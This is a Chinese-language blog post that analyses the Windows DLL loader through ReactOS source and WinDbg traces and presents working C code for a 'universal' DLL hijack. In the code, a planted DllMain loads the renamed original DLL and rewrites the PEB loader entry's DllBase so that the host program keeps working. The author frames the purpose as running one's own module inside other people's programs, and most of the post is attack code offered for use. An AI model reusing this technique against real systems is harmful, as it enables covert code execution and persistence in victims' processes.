通用DLL劫持技術研究
by anhkgg
2018年11月29日
寫在前面
Dll劫持相信大家都不陌生,理論就不多說了。Dll劫持的目的一般都是為了自己的dll子產品能夠在别人程序中運作,然後做些不可描述的事情。
為了讓别人的程式能夠正常運作,通常都需要在自己的dll中導出和劫持的目标dll相同的函數接口,然後在自己的接口函數中調用原始dll的函數,如此使得原始dll的功能能夠正常被使用。導出接口可以自己手工寫,也可以通過工具自動生成,比如著名的
Aheadlib
。這種方法的缺點就是針對不同的dll需要導出不同的接口,雖然有工具幫助,但也有限制,比如不支援x64。
除此之外,很早之前就知道一種通用dll劫持的方法,原理大緻是在自己的dll的dllmian中加載被劫持dll,然後修改loadlibrary的傳回值為被劫持dll加載後的子產品句柄。這種方式就是自己的dll不用導出和被劫持dll相同的函數接口,使用更加友善,也更加通用。
下面就嘗試分析一下如何實作這種通用的dll劫持方法。
原理分析
随便寫一個測試代碼:
//mydll.dll 僞造的用于劫持mydll.dll的dll代碼
//mydll.dll.1是把test.exe加載的原始dll修改為這個名字
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
__debugbreak();
HMODULE hmod = LoadLibraryW("mydll.dll.1");
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
//test.exe
void main()
{
LoadLibraryW(L"mydll.dll");
}
用windbg加載看看堆棧,如下所示。在test中通過LoadLibraryW加載mydll.dll,最後進入mydll!DllMain。現在需要分析系統映射dll之後是如何把基位址傳回給LoadLibraryW,然後才能想辦法把這個值給修改成加載mydll.dll.1的值。
0:000> kvn
# ChildEBP RetAddr Args to Child
WARNING: Stack unwind information not available. Following frames may be wrong.
00 0025eaf8 6e4112ec 6e410000 00000000 00000000 mydll+0x101d
01 0025eb38 6e4113c9 6e410000 00000001 00000000 mydll+0x12ec
02 0025eb4c 77d889d8 6e410000 00000001 00000000 mydll!DllMain+0x13
03 0025eb6c 77d95c41 6e4113ad 6e410000 00000001 ntdll!LdrpCallInitRoutine+0x14
04 0025ec60 77d9052e 00000000 74e92d11 77d77c9a ntdll!LdrpRunInitializeRoutines+0x26f (FPO: [Non-Fpo])
05 0025edcc 77d9232c 0025ee2c 0025edf8 00000000 ntdll!LdrpLoadDll+0x4d1 (FPO: [Non-Fpo])
06 0025ee00 75ee88ee 0037429c 0025ee40 0025ee2c ntdll!LdrLoadDll+0x92 (FPO: [Non-Fpo])
07 0025ee38 761b3c12 00000000 00000000 00000001 KERNELBASE!LoadLibraryExW+0x15a (FPO: [Non-Fpo])
08 0025ee4c 6848e3f5 0025ee58 003a0043 0055005c kernel32!LoadLibraryW+0x11 (FPO: [Non-Fpo])
09 0025f068 6848d1de d9131536 00000000 00000000 test!start+0x2b5
0a 0025f09c 6848e245 013a0000 761b3c26 76b3ea5f test!start+0x21e86e
0b 0025f328 013a1918 013a0000 0037187a 00000000 test!start+0x105
0c 0025fb44 013a30b9 013a0000 00000000 0037187a test+0x1918
0d 0025fb90 761b3c45 7ffd9000 0025fbdc 77d937f5 test+0x30b9
0e 0025fb9c 77d937f5 7ffd9000 74e93b01 00000000 kernel32!BaseThreadInitThunk+0xe (FPO: [Non-Fpo])
0f 0025fbdc 77d937c8 013a312b 7ffd9000 00000000 ntdll!__RtlUserThreadStart+0x70 (FPO: [Non-Fpo])
10 0025fbf4 00000000 013a312b 7ffd9000 00000000 ntdll!_RtlUserThreadStart+0x1b (FPO: [Non-Fpo])
先去reactos翻看一下,找到如下的函數調用結構。在LdrLoadDll參數中BaseAddress就是最後傳回給LoadLibraryW的值,是以繼續看BaseAddress是如何指派的。BaseAddress繼續傳給LdrpLoadDll,在LdrpLoadDll中,首先通過LdrpMapDll映射dll子產品,傳回一個LdrEntry的LDR_DATA_TABLE_ENTRY結構,儲存了dll加載的基址、大小、名字等資訊。接着LdrEntry會插入到peb->ldr連結清單結構中,然後調用LdrpRunInitializeRoutines,在LdrpRunInitializeRoutines中最終會調用DllMain,此處不繼續深入分析。最後LdrEntry->DllBase指派給BaseAddress。到此流程分析清楚,下面考慮如何修改這個值。
NTSTATUS
NTAPI
LdrLoadDll(IN PWSTR SearchPath OPTIONAL,
IN PULONG DllCharacteristics OPTIONAL,
IN PUNICODE_STRING DllName,
OUT PVOID *BaseAddress) {
Status = LdrpLoadDll(RedirectedDll,
SearchPath,
DllCharacteristics,
DllName,
BaseAddress,
TRUE);
}
NTSTATUS
NTAPI
LdrpLoadDll(IN BOOLEAN Redirected,
IN PWSTR DllPath OPTIONAL,
IN PULONG DllCharacteristics OPTIONAL,
IN PUNICODE_STRING DllName,
OUT PVOID *BaseAddress,
IN BOOLEAN CallInit)
{
Status = LdrpMapDll(DllPath,
DllPath,
NameBuffer,
DllCharacteristics,
FALSE,
Redirected,
&LdrEntry);
//插入peb->ldr連結清單
Status = LdrpRunInitializeRoutines(NULL);
if (NT_SUCCESS(Status))
{
/* Return the base address */
*BaseAddress = LdrEntry->DllBase;
}
}
LdrpRunInitializeRoutines-> LdrpCallInitRoutine -> DllMain
記得映像中的那種方法,是通過堆棧回溯到LdrpLoadDll中,找到LdrEntry進行修改(不确實是否準備,時間久遠了),但因為LdrEntry是局部變量,不同系統可以不一樣,相容性差一些。但看到這個調用流程之後,其實還有另一種方式。LdrEntry->DllBase指派給BaseAddress,那麼在指派之前把這個LdrEntry->DllBase修改了即可,在DllMain正好是修改的時機,但是不需要使用堆棧回溯的方式。因為LdrEntry已經插入到peb->ldr中,那麼在DllMain中可以直接擷取peb->ldr周遊連結清單找到目标dll堆棧的LdrEntry就是需要修改的LdrEntry,然後修改即可。
不過這個分析都是基于reactos來的,還是需要确認一下真是windows系統的ntdll是如何首先的。
在win7 x64系統中,ntdll的關鍵代碼如下所示。差别是LdrpLoadDll直接傳回的ldrentry,而不是BaseAddress,在LdrpLoadDll内部流程基本和reactos一緻。是以方案應該可行,後續驗證确實證明可行。
int __fastcall LdrLoadDll()
{
v11 = LdrpLoadDll(v5, v9, v10, 1, 0i64, &dataentry);
v12 = v11;
if ( v11 >= 0 )
*dllbase = dataentry->DllBase;
}
嘗試實作
實作其實非常簡單,關鍵代碼如下所示。兩部分代碼,一個是加載原始dll子產品(mydll.dll.1)拿到真是的子產品句柄hMod(基位址),第二個就是周遊peb->ldr找到mydll.dll的ldrentry,然後修改dllbase為hMod。
void* NtCurrentPeb()
{
__asm {
mov eax, fs:[0x30];
}
}
PEB_LDR_DATA* NtGetPebLdr(void* peb)
{
__asm {
mov eax, peb;
mov eax, [eax + 0xc];
}
}
VOID SuperDllHijack(LPCWSTR dllname, HMODULE hMod)
{
WCHAR wszDllName[100] = { 0 };
void* peb = NtCurrentPeb();
PEB_LDR_DATA* ldr = NtGetPebLdr(peb);
for (LIST_ENTRY* entry = ldr->InLoadOrderModuleList.Blink;
entry != (LIST_ENTRY*)(&ldr->InLoadOrderModuleList);
entry = entry->Blink) {
PLDR_DATA_TABLE_ENTRY data = (PLDR_DATA_TABLE_ENTRY)entry;
memset(wszDllName, 0, 100 * 2);
memcpy(wszDllName, data->BaseDllName.Buffer, data->BaseDllName.Length);
if (!_wcsicmp(wszDllName, dllname)) {
data->DllBase = hMod;
break;
}
}
}
VOID DllHijack(HMODULE hMod)
{
TCHAR tszDllPath[MAX_PATH] = { 0 };
GetModuleFileName(hMod, tszDllPath, MAX_PATH);
PathRemoveFileSpec(tszDllPath);
PathAppend(tszDllPath, TEXT("mydll.dll.1"));
HMODULE hMod1 = LoadLibrary(tszDllPath);
SuperDllHijack(L"mydll.dll", hMod1);
}
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
DllHijack(hModule);
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
總結
經測試在win7 x84和win10 x64中即是有效的,其他系統未測試,如果有問題,請留言或自行解決。
害怕這種方案不行,還想了另一種思路,在dllmain中hook LdrpLoadDll的傳回調用位址處,修改dataentry的值,因為LdrLoadDll函數接口固定,是以這種方式也應該是通用的,不過實作起來其實還比現在的麻煩些,是以隻是保留了這種思路,并未去實作驗證,留給愛折騰的朋友吧。
最後,代碼上傳了github。
anhkgg/SuperDllHijackgithub.com
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